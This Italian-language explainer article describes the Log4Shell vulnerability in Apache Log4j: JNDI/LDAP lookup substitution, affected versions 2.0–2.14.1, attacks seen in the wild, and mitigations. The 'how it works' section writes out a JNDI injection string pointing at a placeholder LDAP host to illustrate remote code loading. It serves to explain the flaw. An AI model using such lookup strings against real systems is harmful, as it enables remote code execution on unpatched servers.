Sommario[Nascondere][Spettacolo]
Alla fine di novembre 2021 abbiamo scoperto una grave minaccia alla sicurezza informatica. Questo exploit potrebbe interessare milioni di sistemi informatici in tutto il mondo.
Questa è una guida sulla vulnerabilità di Log4j e su come un difetto di progettazione trascurato ha lasciato più del 90% dei servizi informatici del mondo aperti agli attacchi.
Apache Log4j è un'utilità di registrazione basata su Java open source sviluppata da Apache Software Foundation. Scritto originariamente da Ceki Gülcü nel 2001, ora fa parte di Apache Logging Services, un progetto della Apache Software Foundation.
Le aziende di tutto il mondo utilizzano la libreria Log4j per abilitare l'accesso alle proprie applicazioni. In effetti, la libreria Java è così onnipresente che puoi trovarla nelle applicazioni di Amazon, Microsoft, Google e altro ancora.
L'importanza della libreria significa che qualsiasi potenziale difetto nel codice potrebbe lasciare milioni di computer aperti all'hacking. Il 24 novembre 2021, a sicurezza cloud un ricercatore che lavora per Alibaba ha scoperto un terribile difetto.
La vulnerabilità di Log4j, nota anche come Log4Shell, è rimasta inosservata dal 2013. La vulnerabilità ha consentito a malintenzionati di eseguire codice sui sistemi interessati che eseguono Log4j. È stato reso pubblico il 9 dicembre 2021
Gli esperti del settore chiamano il difetto di Log4Shell "il più grande vulnerabilità nella memoria recente.
Nella settimana successiva alla pubblicazione della vulnerabilità, i team di sicurezza informatica hanno rilevato milioni di attacchi. Alcuni ricercatori hanno persino osservato una frequenza di oltre cento attacchi al minuto.
Come funziona?
Per capire perché Log4Shell è così pericoloso, dobbiamo capire di cosa è capace.
La vulnerabilità di Log4Shell consente l'esecuzione di codice arbitrario, il che significa sostanzialmente che un utente malintenzionato può eseguire qualsiasi comando o codice su una macchina di destinazione.
Come realizza questo?
Innanzitutto, dobbiamo capire cos'è il JNDI.
Java Naming and Directory Interface (JNDI) è un servizio Java che consente ai programmi Java di rilevare e cercare dati e risorse tramite un nome. Questi servizi di directory sono importanti perché forniscono un set organizzato di record a cui gli sviluppatori possono fare riferimento facilmente durante la creazione di applicazioni.
Il JNDI può utilizzare vari protocolli per accedere a una determinata directory. Uno di questi protocolli è il Lightweight Directory Access Protocol, o LDAP.
Quando si registra una stringa, log4j esegue sostituzioni di stringhe quando incontrano espressioni del modulo ${prefix:name}
.
Per esempio, Text: ${java:version}
potrebbe essere registrato come Testo: Java versione 1.8.0_65. Questi tipi di sostituzioni sono all'ordine del giorno.
Possiamo anche avere espressioni come Text: ${jndi:ldap://example.com/file}
che utilizza il sistema JNDI per caricare un oggetto Java da un URL tramite il protocollo LDAP.
Questo carica efficacemente i dati provenienti da quell'URL nella macchina. Qualsiasi potenziale hacker può ospitare codice dannoso su un URL pubblico e attendere che le macchine che utilizzano Log4j lo registrino.
Poiché il contenuto dei messaggi di registro contiene dati controllati dall'utente, gli hacker possono inserire i propri riferimenti JNDI che puntano ai server LDAP che controllano. Questi server LDAP possono essere pieni di oggetti Java dannosi che JNDI può eseguire attraverso la vulnerabilità.
Ciò che peggiora la situazione è che non importa se l'applicazione è un'applicazione lato server o lato client.
Finché c'è un modo per il logger di leggere il codice dannoso dell'attaccante, l'applicazione è ancora aperta agli exploit.
Chi è interessato?
La vulnerabilità interessa tutti i sistemi e servizi che utilizzano APache Log4j, con le versioni 2.0 fino alla 2.14.1 inclusa.
Diversi esperti di sicurezza segnalano che la vulnerabilità potrebbe avere un impatto su un certo numero di applicazioni che utilizzano Java.
Il difetto è stato scoperto per la prima volta nel videogioco Minecraft di proprietà di Microsoft. Microsoft ha esortato i propri utenti ad aggiornare il proprio software Minecraft in edizione Java per prevenire qualsiasi rischio.
Jen Easterly, Direttore della Cybersecurity and Infrastructure Security Agency (CISA), afferma che i fornitori hanno a grande responsabilità per impedire agli utenti finali di malintenzionati di sfruttare questa vulnerabilità.
"I fornitori dovrebbero anche comunicare con i propri clienti per garantire che gli utenti finali sappiano che il loro prodotto contiene questa vulnerabilità e dovrebbero dare la priorità agli aggiornamenti software".
Secondo quanto riferito, gli attacchi sono già iniziati. Symantec, una società che fornisce software per la sicurezza informatica, ha osservato un numero vario di richieste di attacco.
Ecco alcuni esempi dei tipi di attacchi rilevati dai ricercatori:
- botnet
Le botnet sono una rete di computer che sono sotto il controllo di un singolo attaccante. Aiutano a eseguire attacchi DDoS, rubare dati e altre truffe. I ricercatori hanno osservato la botnet Muhstik negli script di shell scaricati dall'exploit Log4j.
- Trojan minatore XMRig
XMRig è un minatore di criptovaluta open source che utilizza le CPU per estrarre il token Monero. I criminali informatici possono installare XMRig sui dispositivi delle persone in modo che possano utilizzare la loro potenza di elaborazione a loro insaputa.
- Khonsari ransomware
Il ransomware si riferisce a una forma di malware progettata per crittografare i file su un computer. Gli aggressori possono quindi richiedere il pagamento in cambio della restituzione dell'accesso ai file crittografati. I ricercatori hanno scoperto il ransomware Khonsari negli attacchi Log4Shell. Prendono di mira i server Windows e utilizzano il framework .NET.
Cosa succede dopo?
Gli esperti prevedono che potrebbero volerci mesi o forse anche anni per risolvere completamente il caos causato dalla vulnerabilità di Log4J.
Questo processo prevede l'aggiornamento di ogni sistema interessato con una versione modificata. Anche se tutti questi sistemi sono patchati, c'è ancora la minaccia incombente di possibili backdoor che gli hacker potrebbero aver già aggiunto alla finestra che i server erano aperti per l'attacco.
Molti soluzioni e mitigazioni esistono per impedire che le applicazioni vengano sfruttate da questo bug. La nuova versione di Log4j 2.15.0-rc1 ha modificato varie impostazioni per mitigare questa vulnerabilità.
Tutte le funzionalità che utilizzano JNDI saranno disabilitate per impostazione predefinita e anche le ricerche remote sono state limitate. La disabilitazione della funzione di ricerca sulla configurazione di Log4j aiuterà a ridurre il rischio di possibili exploit.
Al di fuori di Log4j, c'è ancora la necessità di un piano più ampio per prevenire gli exploit open source.
All'inizio di maggio, la Casa Bianca ha pubblicato un ordine esecutivo che mirava a migliorare la sicurezza informatica nazionale. Comprendeva una disposizione per una distinta base del software (SBOM) che era essenzialmente un documento formale che conteneva un elenco di tutti gli elementi necessari per creare l'applicazione.
Ciò include parti come il open source pacchetti, dipendenze e API utilizzate per lo sviluppo. Sebbene l'idea delle SBOM sia utile per la trasparenza, aiuterà davvero il consumatore?
L'aggiornamento delle dipendenze potrebbe essere troppo complicato. Le aziende possono semplicemente scegliere di pagare eventuali multe piuttosto che rischiare di perdere tempo extra per trovare pacchetti alternativi. Forse queste SBOM saranno utili solo se il loro portata è ulteriormente limitato.
Conclusione
Il problema di Log4j è più di un semplice problema tecnico per le organizzazioni.
I leader aziendali devono essere consapevoli dei potenziali rischi che potrebbero verificarsi quando i loro server, prodotti o servizi si basano su codice che loro stessi non gestiscono.
Fare affidamento su applicazioni open source e di terze parti comporta sempre una certa quantità di rischio. Le aziende dovrebbero prendere in considerazione l'elaborazione di strategie di mitigazione del rischio prima che vengano alla luce nuove minacce.
Gran parte del web si basa su software open source gestito da migliaia di volontari in tutto il mondo.
Se vogliamo mantenere il Web un luogo sicuro, i governi e le aziende dovrebbero investire nel finanziamento di iniziative open source e agenzie di sicurezza informatica come CISA.
Lascia un Commento